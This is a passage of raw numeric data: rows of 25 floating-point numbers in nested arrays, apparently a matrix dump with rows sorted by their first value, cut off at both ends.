0.5974414, 0.7023008, 0.69914424, 0.6288268, -0.8672632, 0.40706816], [-0.8637284, -0.22113112, 0.28998896, -0.558656, -0.73390648, 0.235703, 0.06848668, -0.7848904, 0.8014012, 0.80594, 0.4023496, 0.7133268, -0.34906048, -0.9697116, -0.5013212, -0.5270508, 0.6266658, 0.09964222, -0.8766892, -0.004976734, -0.7789704, -0.035235696, -0.63049776, 0.6936644, 0.16039408], [-0.8621944, 0.75741024, 0.62237584, -0.69286864, 0.50809888, 0.500504, 0.59606, 0.19113584, -0.37166896, -0.19942584, 0.6306704, 0.18063712, -0.7451828, 0.5183768, 0.905916, -0.6708402, -0.1390702, 0.3599326, 0.7818118, -0.5671206, -0.598772, -0.18981512, -0.964364, 0.1279348, -0.6073032], [-0.8600648, 0.02386592, -0.31024752, -0.46708392, 0.09682696, -0.96583, -0.1586054, 0.5687132, 0.122196, -0.9404108, 0.035257452, 0.08609004, 0.936404, -0.17998884, -0.8088696, -0.9608584, 0.6485344, 0.535321, 0.8017906, -0.2461686, -0.13745648, 0.11523192, 0.3339272, 0.68786152, 0.49171176], [-0.851954, 0.1200168, -0.5486928, 0.8295048, -0.048655184, -0.13025436, 0.8880964, -0.3500266, -0.5765516, 0.818714, -0.5538784, -0.530238, 0.4052684, -0.9330904, 0.4268416, 0.2656738, -0.316833, -0.09538316, -0.6441646, 0.9061462, -0.24658612, -0.021975336, 0.9534392, -0.15473776, -0.08792968], [-0.8482276, 0.61120656, 0.04004712, 0.9965352, -0.49617096, -0.9777884, -0.22260424, 0.29723996, -0.25925736, 0.5784832, -0.020102252, -0.12868, 0.16900952, 0.441024, 0.884688, -0.08922512, 0.4660216, 0.2683298, 0.7740754, -0.706963, 0.26995232, -0.8934544, 0.71013832, 0.42908808, 0.16570448], [-0.8466008, 0.31631888, -0.32421936, 0.13224416, 0.6726476, -0.9202228, 0.6822372, -0.8416796, 0.23616316, -0.30941464, -0.029994336, 0.08007832, 0.26917068, -0.8134364, -0.7293612, -0.15140106, 0.008901256, 0.481465, 0.4154788, -0.16585918, 0.31341892, 0.9575376, 0.1716616, 0.61889384, 0.62454688], [-0.84489, 0.28944272, -0.410826, -0.013215792, 0.8108976, 0.8652352, 0.635778, -0.269613, 0.5007548, -0.27287576, 0.12650332, 0.24350788, 0.9328804, -0.3713814, 0.28044072, 0.3419632, 0.2046352, -0.07066934, -0.8747456, 0.00898436, 0.9786368, 0.79141664, 0.40890016, 0.43475464, -0.34760904], [-0.8442028, 0.48649408, -0.903808, 0.73109328, -0.77979664, -0.8395452, 0.4272284, -0.17998356, 0.08821692, -0.8733212, -0.35786632, -0.35716672, 0.33621804, -0.4987052, 0.5077916, 0.16469678, -0.8633304, -0.873582, 0.294298, 0.1908731, 0.389582, 0.879404, 0.9867368, 0.057346664, -0.8459], [-0.8427308, -0.13869424, 0.78882848, 0.231712, 0.29765816, -0.9465184, 0.6156224, 0.16560312, -0.24474972, -0.9691048, -0.6800432, 0.1516398, -0.1740592, -0.4596392, -0.580822, 0.7879626, 0.9780832, -0.3177498, 0.11224442, -0.9504732, -0.35002604, 0.63910272, -0.52738424, 0.18016824, -0.256032], [-0.8404368, 0.007900994, 0.24604648, -0.60563288, -0.68366872, -0.27549888, 0.797008, 0.323496, 0.8893232, 0.3180644, -0.9818456, 0.5000228, 0.32025496, 0.651504, -0.9730868, -0.1684016, 0.7606856, 0.04660558, -0.6423482, -0.5646504, -0.5651776, 0.000669403, -0.4553132, 0.14897336, 0.52123248], [-0.8376452, 0.905128, -0.79004112, 0.1650404, 0.59376032, 0.01469178, -0.423494, 0.6519884, 0.37060988, -0.9764688, -0.2490786, 0.5408272, 0.7550532, -0.30371068, 0.935558, 0.9406182, -0.08366916, -0.3005484, 0.2611676, -0.5871334, -0.9349844, 0.040142752, 0.65975152, -0.3824936, 0.8650032], [-0.8355584, 0.8281672, 0.36991648, -0.27675264, -0.47083216, 0.5743576, 0.12473668, -0.36808316, -0.5524896, -0.05797876, 0.98876, -0.5356004, 0.17516688, 0.010016824, -0.7206936, -0.5216256, -0.2322438, -0.4698206, -0.3556244, 0.1965072, 0.6117396, 0.05279196, -0.32162584, -0.57781224, 0.8643408], [-0.8348848, -0.51237864, 0.30895976, -0.024226736, 0.07858628, 0.27958536, -0.25396068, -0.9560436, 0.7261716, 0.9412372, -0.9283916, -0.4136416, 0.5727756, 0.37659512, -0.25582672, -0.9998832, -0.7370096, 0.1408348, -0.3810548, 0.14679004, -0.6270552, 0.9444104, 0.23653144, 0.19216472, 0.9383568], [-0.815356, -0.51421856, 0.07907292, -0.47894464, 0.53097552, 0.9207512, 0.9666364, -0.9666164, 0.6139064, -0.8043304, 0.09365144, -0.7955072, 0.6123048, 0.877806, 0.21490552, 0.5129708, 0.2108464, 0.1506593, 0.1154859, -0.999679, -0.4085448, 0.62800912, 0.43350872, 0.72308392, -0.13264888], [-0.8067272, -0.37048984, -0.9168016, -0.33268816, -0.81078, -0.5369968, 0.4775556, -0.3728298, 0.7774424, 0.032786764, -0.9199148, -0.1176484, 0.5285564, -0.1063892, 0.26188676, 0.7759366, -0.14580748, -0.0237604, -0.4438548, -0.8913804, -0.699768, -0.34659896, 0.49563552, 0.71896656, -0.57937872], [-0.7980328, -0.9522288, 0.67390008, 0.3746824, 0.9428664, -0.4316216, 0.218418, -0.942164, -0.7281128, 0.7044188, -0.24465924, -0.38011756, -0.6130284, -0.10730832, 0.9699192, -0.4353618, -0.6154168, -0.7874766, -0.7143518, 0.3842404, 0.5373548, 0.8140808, -0.4806088, -0.5780236, 0.8017592], [-0.7960268, 0.4031184, 0.4323096, -0.77113096, 0.8834424, -0.07246608, 0.9175976, -0.5019984, 0.30464776, -0.4517108, 0.22742316, 0.5902212, 0.31528908, -0.015868844, -0.7838328, 0.7340562, -0.262718, -0.4537372, 0.8631734, -0.6094146, -0.1106156, -0.514904, -0.68819608, -0.28195784, -0.019259488], [-0.7790152, -0.37700904, -0.61121248, -0.18860912, -0.11816024, -0.9229956, 0.1557496, 0.9210944, -0.991054, 0.30786404, -0.7972912, -0.17123852, 0.2556264, -0.4894768, -0.337971, -0.882681, 0.7169998, -0.995132, -0.2541614, 0.5616324, 0.15352748, 0.4512784, -0.16903264, 0.060711368, 0.85792], [-0.7768192, 0.8170888, 0.75700968, -0.93814, -0.15708264, -0.0283991, -0.6256516, -0.8111452, -0.1623698, 0.9199328, -0.38002044, 0.76326, -0.955098, -0.4634024, 0.6714672, 0.943659, -0.16040542, 0.532662, 0.9944372, -0.209184, 0.31977896, -0.14951448, -0.15106, -0.062129824, -0.47644296], [-0.771862, -0.44242696, -0.3161632, 0.41096336, 0.75017968, 0.437102, 0.8925472, -0.4513712, 0.33654488, 0.871344, 0.9126508, 0.6384664, -0.999744, 0.4909828, 0.9841788, 0.8478938, -0.8691858, 0.2640192, 0.4397676, -0.7484574, 0.29472836, -0.45556664, 0.9718752, -0.310304, -0.42144512], [-0.7715652, 0.11651864, -0.29480088, 0.41909416, 0.71083704, -0.8538556, 0.469364, 0.6810112, -0.7860628, 0.7035276, -0.1769604, -0.2751654, 0.31535036, 0.32180336, -0.13602868, -0.6343676, -0.00528743, 0.6134502, -0.2835076, 0.5275658, -0.07759776, 0.3518548, -0.14600472, -0.43344136, 0.36789584], [-0.7677428, -0.66873856, -0.25003896, 0.66394224, 0.58994856, 0.7269372, -0.9374064, 0.5370364, -0.6624884, 0.8348064, -0.12402552, -0.5809828, -0.5958252, 0.5180112, 0.30439384, -0.9273832, 0.17530704, 0.3923108, -0.4959522, 0.7883386, -0.532122, 0.32967088, -0.19613688, 0.18821456, 0.51291016], [-0.7675592, -0.18748048, -0.71686504, -0.61743712, -0.77112072, 0.4073536, -0.13638788, -0.6835004, -0.017528116, -0.2163496, -0.029308856, 0.21000368, 0.32145084, -0.5556892, 0.7675244, 0.8367202, 0.419422, 0.1873735, 0.16339208, -0.3751808, -0.26341772, 0.21212736, -0.8440624, 0.82718, -0.022741448], [-0.749346, 0.055332864, -0.5604896, -0.59717672, -0.72054832, 0.32979796, 0.7318056, -0.19342856, 0.4864028, -0.0530556, -0.6502668, 0.9180884, -0.25588672, 0.4213216, 0.8905676, -0.07310936, -0.1786823, -0.5495282, 0.9255658, 0.08229248, 0.20981952, -0.15066064, 0.456006, 0.85658, 0.8328832], [-0.7438392, 0.66770248, -0.8643448, -0.34287776, -0.816276, -0.486104, -0.10835032, 0.7404216, 0.750536, -0.029458692, 0.3728994, 0.746444, 0.32734324, -0.438092, -0.8378504, -0.4660382, 0.3762896, 0.02545314, 0.2495606, -0.6959134, -0.13711772, 0.47446152, 0.30212248, 0.6104088, -0.13107064], [-0.7416472, 0.40747472, -0.4899924, 0.70081968, -0.64379928, 0.8574216, -0.4498808, -0.5399188, -0.4895756, -0.9484316, -0.5995684, -0.9819696, 0.18565412, -0.15013764, 0.9274056, -0.3595806, 0.8465138, 0.586992, -0.506378, -0.8054726, -0.04828456, -0.78002672, 0.8252992, -0.55683904, 0.75194576], [-0.7408352, -0.1252196, 0.34848416, 0.5955764, -0.56463864, -0.08127228, -0.5667536, -0.8589672, -0.8882016, 0.10083176, 0.6540832, -0.5639004, -0.8428128, -0.8088436, -0.7663948, 0.4134828, 0.14706878, -0.5240152, -0.087221, 0.9348938, -0.6199444, -0.74043288, -0.9333168, -0.20007624, -0.39448184], [-0.7390788, -0.62627584, -0.22873472, 0.9008888, 0.8099352, 0.32168936, 0.114362, -0.873278, -0.4502132, 0.8911064, 0.9040744, -0.1528828, 0.7611792, 0.387475, 0.17702108, -0.4091736, -0.9410396, 0.19915162, -0.5171976, -0.73586, -0.38113092, -0.42553448, -0.68373168, 0.21620048, -0.33753576], [-0.7376992, -0.7663244, 0.70418384, 0.49370984, -0.2415536, -0.8666664, 0.09642552, -0.5831628, -0.4644064, 0.12243612, 0.4388284, 0.434028, 0.27144532, -0.4917292, 0.7785808, -0.013304348, -0.6815852, -0.707685, 0.8712222, 0.5112174, 0.8120828, 0.8413328, -0.8270928, -0.78629096, 0.63523984], [-0.7329844, 0.11811656, -0.51307536, -0.2821804, 0.53071112, 0.13209288, -0.17842008, 0.02990292, 0.20958948, 0.11252512, 0.37103604, -0.58013, -0.9710928, -0.5853688, 0.001094207, -0.9741942, -0.5634174, -0.846164, 0.8363136, -0.5108704, 0.9977292, 0.55704184, -0.8636, 0.77589576, -0.78939184], [-0.7324908, 0.53377304, 0.033573136, -0.8407056, 0.64309016, -0.7055828, -0.8162456, -0.7641244, 0.24595248, 0.5196384, 0.38981696, 0.567256, 0.6703656, 0.6914736, -0.8218136, -0.5649984, -0.5256274, -0.6107508, -0.4779708, 0.18436942, 0.6353012, -0.41492272, -0.987916, -0.1477264, 0.72346792], [-0.729052, 0.72157184, 0.066417448, 0.51655296, -0.16441016, 0.4787304, 0.9584624, 0.8776636, -0.31409988, 0.8077672, -0.11502456, 0.006626928, 0.4410752, 0.6556108, -0.8027652, -0.13926176, -0.9018598, -0.5879802, 0.5655134, 0.7902824, -0.28160032, 0.76019184, -0.5546768, -0.4329952, -0.9627304], [-0.7283508, -0.224658, -0.77200424, 0.36615704, 0.4774252, 0.8275276, -0.9640624, -0.8951176, -0.6085136, -0.5104308, -0.7844152, -0.8470492, -0.8170964, -0.23323752, 0.503328, 0.2611808, -0.8042712, 0.7675682, 0.6752738, -0.524654, 0.7953544, -0.75277952, -0.51164392, -0.65117296, -0.071913264], [-0.7234292, 0.59654384, -0.65628992, -0.5178844, 0.52860056, -0.21654304, 0.9463412, -0.10414776, 0.4147972, 0.24779428, -0.5873928, 0.6068592, -0.495486, -0.1183924, 0.812578, 0.6892092, 0.3527492, -0.706458, 0.2449776, -0.12970486, -0.4835968, -0.12299304, -0.9982288, -0.73006376, 0.31765296], [-0.720552, -0.09033296, -0.68376368, 0.50527432, -0.23690448, 0.11248216, 0.5138056, -0.5702172, -0.011352892, 0.24776616, -0.9439116, 0.27090636, -0.7524828, 0.20096804, 0.07174724, 0.384875, 0.07819688, 0.5125202, 0.14650818, -0.19380692, 0.4743352, -0.8039656, -0.34095416, -0.52317944, 0.854], [-0.70657, -0.9909024, 0.15508952, 0.22221712, -0.72638272, -0.9496884, -0.08128896, 0.6842752, -0.9931228, 0.449018, 0.6536716, -0.04810396, 0.6571504, 0.019490588, -0.5051992, 0.11858564, -0.13155986, -0.7328058, 0.776212, 0.5886384, -0.5996068, -0.027518296, 0.863528, 0.9506864, -0.70824512], [-0.7062028, -0.35895624, 0.16479624, 0.79272376, 0.46981976, 0.36350748, -0.448952, -0.6494916, 0.876708, 0.8553256, 0.9760064, -0.4311316, -0.9039836, 0.729482, -0.5526784, 0.7795792, -0.234936, 0.07159028, 0.460723, -0.5104328, -0.18775632, 0.006418193, -0.41776144, 0.34280672, 0.905992], [-0.6968224, -0.818192, -0.73817584, -0.76153656, -0.61606856, 0.2314406, -0.639676, 0.6162408, 0.5466236, -0.33785416, 0.31139944, -0.5727504, 0.13047652, -0.9311892, -0.35625716, 0.7278722, -0.9342358, -0.7641484, 0.2491168, -0.5234016, -0.04371536, -0.33239848, -0.3083264, 0.9212808, 0.03704004], [-0.696184, 0.9471392, -0.8251128, -0.16582136, 0.9316272, -0.4241152, 0.21823984, 0.307372, -0.24253612, -0.32674792, -0.35387548, -0.5549168, -0.4389512, -0.8348928, 0.04898252, 0.7871224, -0.07005384, 0.4041674, 0.7950062, 0.3522344, -0.10175136, 0.51276304, -0.74794344, -0.73269104, -0.1239728], [-0.6957888, 0.8720712, -0.9913016, 0.075367056, -0.32159376, -0.4742748, 0.5756844, -0.08187064, 0.9065696, 0.18528812, -0.8076976, 0.5649508, -0.8124728, -0.09161396, -0.36625524, 0.925689, 0.4377082, -0.12559474, 0.788199, 0.9251578, 0.03393454, -0.24158432, 0.30393696, -0.8305848, -0.170402], [-0.6936896, 0.9496744, -0.9852288, -0.60929352, -0.909064, 0.008384836, -0.7987052, 0.14677024, -0.4874424, -0.996744, -0.975824, 0.31426396, 0.034993116, 0.6546984, 0.907428, -0.7415632, 0.8323022, -0.15117778, 0.5494802, 0.922689, -0.21910656, -0.32989136, 0.9074832, -0.3506756, 0.79924656], [-0.6899652, -0.21417016, -0.42429704, 0.94076, -0.23093904, -0.8928392, -0.5424148, 0.7564508, -0.4644868, 0.24560252, -0.1424238, 0.037742624, -0.35159584, 0.6689512, 0.9742676, 0.527897, 0.7976742, -0.7892456, -0.2195702, -0.02268674, 0.39503384, -0.9358208, 0.9960512, -0.43239952, -0.11976936], [-0.6842824, -0.66560672, -0.72794376, 0.60699824, -0.77811304, -0.603752, 0.28216976, 0.26625516, 0.8080684, 0.4169904, -0.014095284, 0.16614908, 0.3564904, 0.5963684, 0.916648, 0.04124662, -0.08947128, -0.11986784, 0.005206224, 0.16157678, 0.494258, -0.74189464, 0.17030592, -0.921488, -0.8187608], [-0.6813772, -0.74723616, 0.8488976, 0.33949856, 0.12609056, 0.8331528, 0.17852904, 0.6546072, -0.33357824, 0.6989888, 0.20209684, 0.6149312, -0.3572928, -0.05819624, -0.06784004, 0.2784212, 0.9806398, 0.538718, 0.5583576, 0.4302688, -0.18146696, -0.50770192, 0.09387008, 0.00043334, -0.34959272], [-0.6799432, 0.3580248, -0.43760408, -0.9293952, 0.135592, -0.5840156, 0.8293628, 0.07348244, -0.6428624, -0.2955938, -0.7468404, -0.6599868, -0.677914, 0.965388, -0.10677004, 0.784798, 0.3213798, -0.5789356, -0.763033, 0.8351574, 0.32196112, -0.15441728, 0.26703848, -0.48154488, -0.08545624], [-0.6622072, 0.76554496, -0.2498196, 0.16284688, 0.28749928, 0.9746924, 0.4351936, -0.07677896, 0.6543684, 0.36817156, 0.13415428, 0.4783516, 0.016146616, -0.6647704, 0.6719552, 0.5288946, 0.9423538, -0.09486848, 0.2923292, 0.8792118, 0.14033888, 0.30108616, 0.58652768, 0.57966536, 0.9832472], [-0.6608064, 0.14772352, -0.8982976, 0.59289544, -0.360868, 0.25508872, -0.47068, 0.6101092, -0.22270672, -0.027832356, 0.11527348, 0.006460224, 0.19505224, 0.5083544, -0.25782076, -0.73083, 0.5941394, -0.5136524, -0.007455558, -0.518573, 0.4985848, -0.72231632, 0.60502488, -0.20631616, 0.4117532], [-0.6564068, -0.8735424, 0.2732104, -0.53249192, 0.32681384, 0.8556848, 0.9377668, -0.5576752, 0.702164, 0.23124108, 0.10493504, -0.9998312, -0.16378256, -0.9037568, 0.19521068, -0.010764456, 0.5468736, 0.9993772, 0.8613974, -0.5724148, 0.51733, 0.68905112, 0.54831576, 0.64468304, -0.08335856], [-0.653878, 0.45734344, -0.48578096, 0.911452, 0.8606024, -0.816644, 0.8487512, -0.39375372, -0.21253576, -0.6054564, 0.9840204, -0.4578012, 0.7067516, -0.04390444, -0.4467884, -0.527955, 0.07329634, -0.985259, -0.5205998, 0.6416968, 0.5201492, 0.2194636, -0.891752, 0.16493736, -0.35187792], [-0.649748, 0.9162216, -0.29185896, -0.6278908, -0.905708, 0.28196472, -0.81354, 0.9874712, -0.8604604, 0.8639628, -0.9243176, -0.14151592, 0.9595956, 0.32031504, -0.30009336, 0.17412108, 0.2125744, -0.269332, -0.0128547, 0.2843404, -0.8430208, -0.75462736, -0.029697552, 0.20235344, 0.2154252], [-0.6494904, 0.68503712, -0.52886384, 0.5280344, 0.8230488, -0.21698828, 0.9368636, 0.9013488, 0.4188828, 0.21061352, 0.25649688, -0.4180124, -0.22396004, -0.5893112, 0.9024332, 0.459914, -0.2679762, -0.2259096, -0.09692884, 0.07915564, 0.6528888, 0.4730896, 0.15513088, 0.08419056, -0.253116], [-0.6477716, -0.64587584, 0.39943224, 0.46602504, 0.1647644, -0.08632932, -0.5949752, -0.6151072, 0.19779232, 0.7075232, -0.24252316, -0.7465228, 0.10420968, 0.817642, 0.4334516, 0.8527342, -0.6080776, 0.06086184, 0.4525178, 0.377614, -0.039810716, -0.75962208, -0.72970752, -0.20134312, 0.50105584], [-0.6455824, 0.8178488, 0.15047824, 0.1192516, -0.8876512, -0.07104928, 0.8382644, 0.22457224, 0.22858436, -0.450606, 0.11128428, 0.6080032, 0.014450276, 0.3642388, 0.4074536, -0.6528998, 0.677533, -0.6198808, -0.8839294, 0.8876738, 0.15390192, -0.13744744, 0.59956968, 0.5673884, -0.61369864], [-0.637856, -0.9822056, 0.067404512, -0.52446048, -0.39874688, -0.9175348, -0.970262, 0.3231542, 0.23380676, 0.17589824, 0.4658296, -0.31207264, -0.6636632, -0.7399648, 0.5314388, 0.8828788, -0.9452626, 0.6173942, 0.491212, -0.9006292, 0.07012268, 0.8803064, -0.9814192, -0.59790928, 0.45349504], [-0.6328532, -0.5053424, -0.37114336, 0.61776096, 0.026146328, 0.576854, 0.269078, 0.8733068, 0.31266264, 0.5010184, -0.4559596, -0.09887196, -0.512898, -0.518912, 0.8594444, 0.16435376, -0.4392078, 0.3914976, -0.7313938, -0.03034974, 0.6042248, -0.73038696, 0.5064144, -0.060164448, 0.066405888], [-0.6326484, 0.75630544, -0.54340688, 0.62892496, 0.049490888, 0.26493548, 0.26684088, -0.3457552, -0.37678036, 0.0261113, 0.6358292, 0.5406256, 0.2023044, -0.4743196, -0.38737792, -0.13133718, -0.9586012, 0.9222558, 0.9910912, -0.208235, 0.031227004, 0.7133444, -0.16355976, 0.08967944, -0.46372872], [-0.6287684, -0.39531888, -0.53970512, 0.71605072, 0.32745336, 0.18834952, -0.37122744, -0.9411672, 0.14053348, 0.7505652, -0.8936448, 0.2818088, -0.6644316, 0.7579476, -0.7797008, 0.7108028, 0.2696052, -0.9239754, 0.80311, -0.454904, -0.9329976, -0.8886864, 0.9877888, 0.37185224, -0.3014224], [-0.6258996, 0.40846752, -0.32835392, -0.09087312, 0.63017824, -0.4315328, 0.8686348, 0.9911444, -0.6357028, 0.5031724, -0.211242, 0.6323728, 0.578674, 0.5084948, 0.31914868, -0.7176254, -0.2951428, -0.891053, 0.18251376, -0.8275114, 0.6772284, 0.079011128, -0.4212436, 0.69209056, -0.059317792], [-0.6217496, 0.77934248, 0.55279848, -0.65906072, -0.949332, -0.6640368, -0.36646024, 0.9821528, -0.9827308, -0.7827076, 0.2755396, -0.27623048, 0.5218768, 0.3905788, 0.35363244, -0.017592622, 0.2930492, 0.9719176, 0.5688828, 0.18237948, 0.7661428, 0.35273552, -0.77983304, -0.902356, 0.0183568], [-0.62074, 0.24944536, 0.373424, 0.47760672, -0.5527728, -0.959726, 0.8035448, -0.6809428, 0.4181552, -0.9308852, 0.555262, -0.35610936, 0.7436904, 0.6603196, -0.750764, 0.9624908, 0.8984194, 0.994279, 0.3560708, -0.5031044, 0.36563892, -0.51240968, 0.19930192, -0.19210992, 0.57992928], [-0.6177924, -0.49444128, 0.08376848, -0.22593288, -0.53114824, -0.601094, -0.33270504, -0.8651076, -0.8419904, 0.07736168, 0.32947328, -0.10941604, -0.4506924, 0.4863224, -0.542696, -0.3071158, -0.12255062, 0.3951874, -0.2282402, 0.08158038, 0.8793872, 0.55452904, 0.41826056, -0.74627576, 0.45873888], [-0.616898, -0.9818464, 0.64798408, -0.40141512, -0.48444928, 0.08525984, 0.18763312, -0.4580384, -0.20376492, 0.5477964, -0.07896996, 0.7269244, -0.4968932, -0.7179524, 0.7351528, 0.6542104, 0.02924966, -0.98359, -0.04906516, -0.4850184, -0.5860604, 0.24379504, -0.0975016, -0.50370392, 0.8289408], [-0.613828, -0.9798632, 0.9847208, 0.66722672, 0.8178176, -0.07489528, -0.5787968, -0.38737508, 0.9451592, 0.7264508, -0.6641056, -0.7083452, 0.20971968, 0.4015964, 0.5554192, -0.6468366, 0.3108234, 0.9456058, 0.15379874, -0.6701534, 0.811846, -0.14991304, -0.42300728, -0.855532, 0.64638544], [-0.6068488, 0.8210768, 0.838144, -0.363916, 0.44466984, -0.8398692, 0.4930404, 0.7355756, 0.8644948, 0.16613576, 0.8251528, 0.14883296, -0.33759264, 0.30962812, 0.7752476, -0.5150408, 0.883889, 0.7895522, -0.18060706, -0.7746222, -0.30058856, 0.018619568, 0.45013824, -0.62747848, 0.8828912], [-0.6007196, 0.41059352, 0.42202248, 0.2538016, -0.075599456, 0.72339, 0.9607904, -0.37823276, -0.8883356, -0.31370788, 0.11459528, 0.8841392, 0.4174584, -0.5681544, 0.441326, -0.015657482, -0.2065512, -0.6507306, 0.7396598, -0.429088, 0.01074048, -0.34620776, 0.45419232, 0.42129272, -0.406952], [-0.5923388, -0.6605352, -0.9548768, 0.28745216, 0.9030568, -0.4434244, 0.04284728, -0.6679624, 0.004149608, -0.7761684, 0.9733076, 0.6471672, 0.7040364, 0.32368644, -0.8365848, -0.4591722, -0.6641982, 0.0252877, -0.2438616, 0.5205504, 0.7220528, -0.069108824, -0.11341464, -0.37367552, -0.54228504], [-0.5916584, -0.36389296, 0.017174896, 0.79172592, 0.20333024, 0.35365872, 0.4567152, 0.7638388, -0.5910608, 0.8331264, 0.1707494, -0.848954, -0.4150188, -0.6974, -0.16714532, -0.438929, -0.8304942, 0.3043978, 0.3191828, -0.9977472, -0.80036, 0.67094424, -0.8553008, -0.9443184, -0.167768], [-0.5906, -0.7144884, 0.38797456, -0.8283496, -0.16484288, 0.3511454, -0.4266108, 0.97984, 0.28612812, 0.904248, 0.5473684, -0.6006744, 0.4671692, -0.2372614, 0.007220744, 0.3600198, -0.435746, 0.8035176, 0.5005254, 0.03156312, 0.7681988, 0.47646208, 0.9051416, -0.022662488, -0.77994816], [-0.5827696, -0.986328, -0.17052176, -0.16426184, -0.74267016, -0.8823824, 0.6775708, 0.8536032, -0.871282, 0.10375684, 0.9045828, -0.6416196, 0.08926636, -0.9307768, 0.5008616, -0.8991146, -0.1664678, 0.03862468, 0.7439932, 0.433126, -0.5407764, -0.856668, -0.68803056, -0.62129232, -0.77891704], [-0.5824192, -0.55853944, 0.8793432, -0.15503392, 0.25294896, -0.4154412, 0.7849448, 0.7627056, 0.877196, -0.029555548, -0.7042284, -0.720358, -0.7147344, 0.9411436, 0.6127732, 0.14820602, -0.3094392, 0.7795152, 0.5230144, 0.9916422, -0.020826596, -0.9324224, -0.70558992, -0.346718, -0.8545752], [-0.5774376, 0.7081384, -0.8093504, -0.13755424, 0.1312092, 0.7540544, -0.7375156, -0.5252724, 0.33428404, 0.8692328, 0.92514, -0.07378156, 0.969498, -0.8785656, 0.21182976, -0.9476634, 0.03544078, 0.7034498, 0.1605802, 0.7262702, -0.8448576, -0.51846496, 0.966308, -0.20088024, 0.4318144], [-0.5761936, 0.11832152, 0.11081712, -0.54427008, -0.42519632, 0.2654812, 0.17593116, 0.5487324, -0.27936456, -0.8081748, -0.26705484, 0.5712376, -0.33642768, 0.31025296, -0.10620608, -0.3907152, -0.7098574, -0.2158198, -0.321937, 0.10495058, 0.0903736, -0.26385376, -0.8498576, -0.7353876, 0.035684208], [-0.5732512, 0.8620232, 0.30199424, -0.892076, 0.4871424, -0.5331316, -0.6176584, 0.22885448, -0.21610236, -0.14275224, 0.09797468, 0.009426252, -0.2631588, 0.5120944, -0.6349948, 0.927864, -0.8484498, -0.08353602, -0.7940544, -0.06749338, 0.11012612, -0.27375152, -0.09298832, 0.29060384, -0.35881488], [-0.564438, -0.38127112, 0.41964304, 0.150308, -0.77825616, -0.7618812, 0.25800736, 0.5086916, -0.15358916, -0.8583512, -0.196768, -0.18376624, -0.19668632, 0.9620184, 0.15591368, 0.8521356, 0.5904458, -0.13392754, -0.9510898, -0.7552226, 0.3099886, -0.45301424, -0.30890832, 0.48950832, -0.06232396], [-0.5534652, -0.15313392, 0.5864564, 0.44214176, 0.26029032, 0.27015096, 0.6855788, -0.730846, -0.549782, 0.696944, -0.6144284, 0.677036, -0.6655744, 0.23209904, -0.3485052, 0.5235182, 0.07941482, 0.10381674, 0.3827052, -0.5010656, -0.32064852, -0.9140312, -0.50797616, 0.019921168, -0.60244576], [-0.551768, 0.58879256, -0.05022332, -0.1813088, -0.9606856, -0.20270404, -0.6125248, 0.2714666, -0.6745712, 0.5784536, 0.021114716, 0.5096656, 0.7119176, 0.15208124, -0.34703132, -0.5582304, 0.8427266, 0.6151926, 0.568199, -0.5136298, -0.10584292, -0.12092288, -0.08138368, 0.32829936, -0.8601632], [-0.5509672, -0.51729184, -0.4965224, 0.68314984, 0.8489304, 0.31800132, 0.852966, -0.7883696, -0.27918164, 0.6049084, -0.15303844, 0.18074148, 0.29836424, -0.648856, -0.3135152, -0.6748188, 0.8049232, -0.2339326, 0.4044438, 0.3867374, 0.9916076, -0.18812432, -0.69444728, 0.22601704, 0.31167056], [-0.5437532, 0.71994768, 0.1760268, -0.7339108, -0.982956, 0.10754892, 0.25826016, -0.8799528, 0.26997572, -0.7606576, -0.704064, -0.36462064, -0.9358676, 0.4669208, 0.5386612, -0.265406, -0.12160286, -0.6146308, -0.6583526, 0.776075, 0.9230172, 0.9432048, 0.14481888, -0.9097816, -0.2969552], [-0.5408696, 0.3310304, -0.9776648, 0.26015408, 0.67632224, 0.408696, 0.5762712, -0.15718864, 0.04465488, 0.8223716, -0.9400368, -0.9512288, 0.22831116, -0.7418332, -0.24238788, 0.5092304, -0.2436236, 0.5242808, -0.7658584, 0.8906976, -0.7199532, 0.9509176, -0.02554316, 0.52701224, -0.39043168], [-0.5388868, -0.040807688, 0.9929256, 0.965376, -0.2143672, 0.526332, -0.11426488, 0.6105344, 0.28537908, 0.564532, -0.8490096, -0.6157252, -0.8697612, 0.9102356, -0.9604788, 0.8130066, -0.04717166, 0.1664272, 0.6973556, -0.2822702, -0.9698984, -0.2573756, 0.9041656, -0.65632752, -0.61331976], [-0.5311888, 0.52505384, -0.38831512, 0.8871288, 0.39312792, -0.4823612, 0.8547664, 0.34568464, -0.6449144, 0.9478864, -0.4586028, 0.551252, 0.1775768, -0.18954872, -0.8531624, -0.9861746, 0.5265622, 0.5758846, 0.5041318, 0.8326504, 0.599962, -0.76679488, -0.1645792, -0.077713768, -0.9399568], [-0.5311448, -0.35036856, 0.9347424, -0.72119496, 0.09944624, 0.23814616, -0.5469472, -0.802338, 0.8020692, 0.9715316, -0.26093732, 0.5857968, 0.05364996, -0.7753964, -0.6354732, -0.4063598, -0.9717912, 0.9874806, 0.7678414, 0.3694388, -0.28742488, 0.79865416, -0.042173216, 0.1423948, -0.71362912], [-0.5266276, -0.37772168, -0.18341976, 0.8338128, -0.1379416, -0.5817528, -0.32259728, -0.5535572, 0.5362196, 0.7077828, 0.760214, 0.5512212, -0.002503706, -0.6974616, 0.2598578, 0.08885406, 0.9711724, -0.184556, 0.08985756, -0.9524868, -0.4133428, -0.36856032, -0.22637008, 0.66378816, -0.12236792], [-0.5226352, 0.949356, 0.10377864, -0.26668248, 0.47373712, -0.78104, 0.06025116, -0.5801572, -0.4740996, 0.8933024, 0.24923612, 0.4465028, 0.04034712, 0.28276424, -0.06403032, 0.7102268, 0.5766256, -0.7942946, -0.2045244, -0.3361762, -0.9205264, -0.69896112, -0.31500184, -0.36764816, -0.01225028], [-0.517906, 0.8848024, -0.037864224, 0.005349211, 0.9650304, 0.5246244, -0.6628592, -0.3276426, 0.19618144, 0.7883268, 0.162202, -0.5982964, -0.00898696, -0.34312928, -0.8399664, 0.07729196, 0.9131224, 0.05273802, 0.2917996, -0.9476018, 0.368945, 0.56220184, -0.57205728, 0.8630616, -0.02609884], [-0.514084, 0.28212776, 0.40532568, -0.42086544, -0.47613464, -0.508174, -0.7123, 0.94615, 0.8482092, 0.8835532, -0.7449404, -0.05417068, 0.05127472, 0.5851404, 0.20204476, -0.4549688, 0.7474714, -0.371878, -0.7305142, -0.8514058, -0.9642696, 0.79635552, 0.05308652, -0.076726472, -0.3296316], [-0.513512, 0.058296688, 0.7008784, 0.1682628, -0.63222752, -0.4187328, 0.32235864, -0.7850828, 0.744728, -0.6527184, 